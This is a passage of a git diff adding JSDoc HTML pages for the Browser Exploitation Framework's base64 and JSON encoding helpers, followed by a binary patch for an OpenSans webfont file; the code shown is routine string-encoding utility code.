+            if (enc3 != 64) {
+                output = output + String.fromCharCode(chr2);
+            }
+            if (enc4 != 64) {
+                output = output + String.fromCharCode(chr3);
+            }
+
+        }
+
+        output = beef.encode.base64.utf8_decode(output);
+
+        return output;
+
+    },
+
+    /** 
+     * @memberof beef.encode.base64 
+     * @param {string} string
+     * @return {string}
+     */
+    utf8_encode : function (string) {
+        string = string.replace(/\r\n/g,"\n");
+        var utftext = "";
+
+        for (var n = 0; n < string.length; n++) {
+
+            var c = string.charCodeAt(n);
+
+            if (c < 128) {
+                utftext += String.fromCharCode(c);
+            }
+            else if((c > 127) && (c < 2048)) {
+                utftext += String.fromCharCode((c >> 6) | 192);
+                utftext += String.fromCharCode((c & 63) | 128);
+            }
+            else {
+                utftext += String.fromCharCode((c >> 12) | 224);
+                utftext += String.fromCharCode(((c >> 6) & 63) | 128);
+                utftext += String.fromCharCode((c & 63) | 128);
+            }
+
+        }
+
+        return utftext;
+    },
+    /** 
+     * @memberof beef.encode.base64 
+     * @param {string} utftext
+     * @return {string} 
+     */
+    utf8_decode : function (utftext) {
+        var string = "";
+        var i = 0;
+        var c = c1 = c2 = 0;
+
+        while ( i < utftext.length ) {
+
+            c = utftext.charCodeAt(i);
+
+            if (c < 128) {
+                string += String.fromCharCode(c);
+                i++;
+            }
+            else if((c > 191) && (c < 224)) {
+                c2 = utftext.charCodeAt(i+1);
+                string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
+                i += 2;
+            }
+            else {
+                c2 = utftext.charCodeAt(i+1);
+                c3 = utftext.charCodeAt(i+2);
+                string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
+                i += 3;
+            }
+
+        }
+
+        return string;
+    }
+
+};
+
+beef.regCmp('beef.encode.base64');
+
+
+
+ + + + +
+ + + +
+ + + + + + + diff --git a/docs/encode_json.js.html b/docs/encode_json.js.html new file mode 100644 index 000000000..ec27ac608 --- /dev/null +++ b/docs/encode_json.js.html @@ -0,0 +1,191 @@ + + + + + JSDoc: Source: encode/json.js + + + + + + + + + + +
+ +

Source: encode/json.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/** 
+ * Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/
+ * @namespace beef.encode.json
+ */
+
+beef.encode.json = {
+	/**
+     * @memberof beef.encode.json
+     * @param o 
+     */
+	stringify: function(o) {
+        if (typeof(JSON) == 'object' && JSON.stringify) {
+            // Error on stringifying cylcic structures caused polling to die
+            try {
+                s = JSON.stringify(o);    
+            } catch(error) {
+                // TODO log error / handle cyclic structures? 
+            }
+            return s;
+        }
+        var type = typeof(o);
+    
+        if (o === null)
+            return "null";
+    
+        if (type == "undefined")
+            return '\"\"';
+        
+        if (type == "number" || type == "boolean")
+            return o + "";
+    
+        if (type == "string")
+            return $j.quoteString(o);
+    
+        if (type == 'object')
+        {
+            if (typeof o.toJSON == "function") 
+                return $j.toJSON( o.toJSON() );
+            
+            if (o.constructor === Date)
+            {
+                var month = o.getUTCMonth() + 1;
+                if (month < 10) month = '0' + month;
+
+                var day = o.getUTCDate();
+                if (day < 10) day = '0' + day;
+
+                var year = o.getUTCFullYear();
+                
+                var hours = o.getUTCHours();
+                if (hours < 10) hours = '0' + hours;
+                
+                var minutes = o.getUTCMinutes();
+                if (minutes < 10) minutes = '0' + minutes;
+                
+                var seconds = o.getUTCSeconds();
+                if (seconds < 10) seconds = '0' + seconds;
+                
+                var milli = o.getUTCMilliseconds();
+                if (milli < 100) milli = '0' + milli;
+                if (milli < 10) milli = '0' + milli;
+
+                return '"' + year + '-' + month + '-' + day + 'T' +
+                             hours + ':' + minutes + ':' + seconds + 
+                             '.' + milli + 'Z"'; 
+            }
+
+            if (o.constructor === Array) 
+            {
+                var ret = [];
+                for (var i = 0; i < o.length; i++)
+                    ret.push( $j.toJSON(o[i]) || "null" );
+
+                return "[" + ret.join(",") + "]";
+            }
+        
+            var pairs = [];
+            for (var k in o) {
+                var name;
+                var type = typeof k;
+
+                if (type == "number")
+                    name = '"' + k + '"';
+                else if (type == "string")
+                    name = $j.quoteString(k);
+                else
+                    continue;  //skip non-string or number keys
+            
+                if (typeof o[k] == "function") 
+                    continue;  //skip pairs where the value is a function.
+            
+                var val = $j.toJSON(o[k]);
+            
+                pairs.push(name + ":" + val);
+            }
+
+            return "{" + pairs.join(", ") + "}";
+        }
+    },
+    /**
+     * @memberof beef.encode.json
+     * @param string 
+     */
+    quoteString: function(string) {
+        if (string.match(this._escapeable))
+        {
+            return '"' + string.replace(this._escapeable, function (a) 
+            {
+                var c = this._meta[a];
+                if (typeof c === 'string') return c;
+                c = a.charCodeAt();
+                return '\\u00' + Math.floor(c / 16).toString(16) + (c % 16).toString(16);
+            }) + '"';
+        }
+        return '"' + string + '"';
+    },
+    
+    _escapeable: /["\\\x00-\x1f\x7f-\x9f]/g,
+    
+    _meta : {
+        '\b': '\\b',
+        '\t': '\\t',
+        '\n': '\\n',
+        '\f': '\\f',
+        '\r': '\\r',
+        '"' : '\\"',
+        '\\': '\\\\'
+    }
+};
+
+$j.toJSON = function(o) {return beef.encode.json.stringify(o);};
+$j.quoteString = function(o) {return beef.encode.json.quoteString(o);};
+
+beef.regCmp('beef.encode.json');
+
+
+
+ + + + +
+ + + +
+ + + + + + + diff --git a/docs/fonts/OpenSans-Bold-webfont.eot b/docs/fonts/OpenSans-Bold-webfont.eot new file mode 100644 index 0000000000000000000000000000000000000000..5d20d916338a5890a033952e2e07ba7380f5a7d3 GIT binary patch literal 19544 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 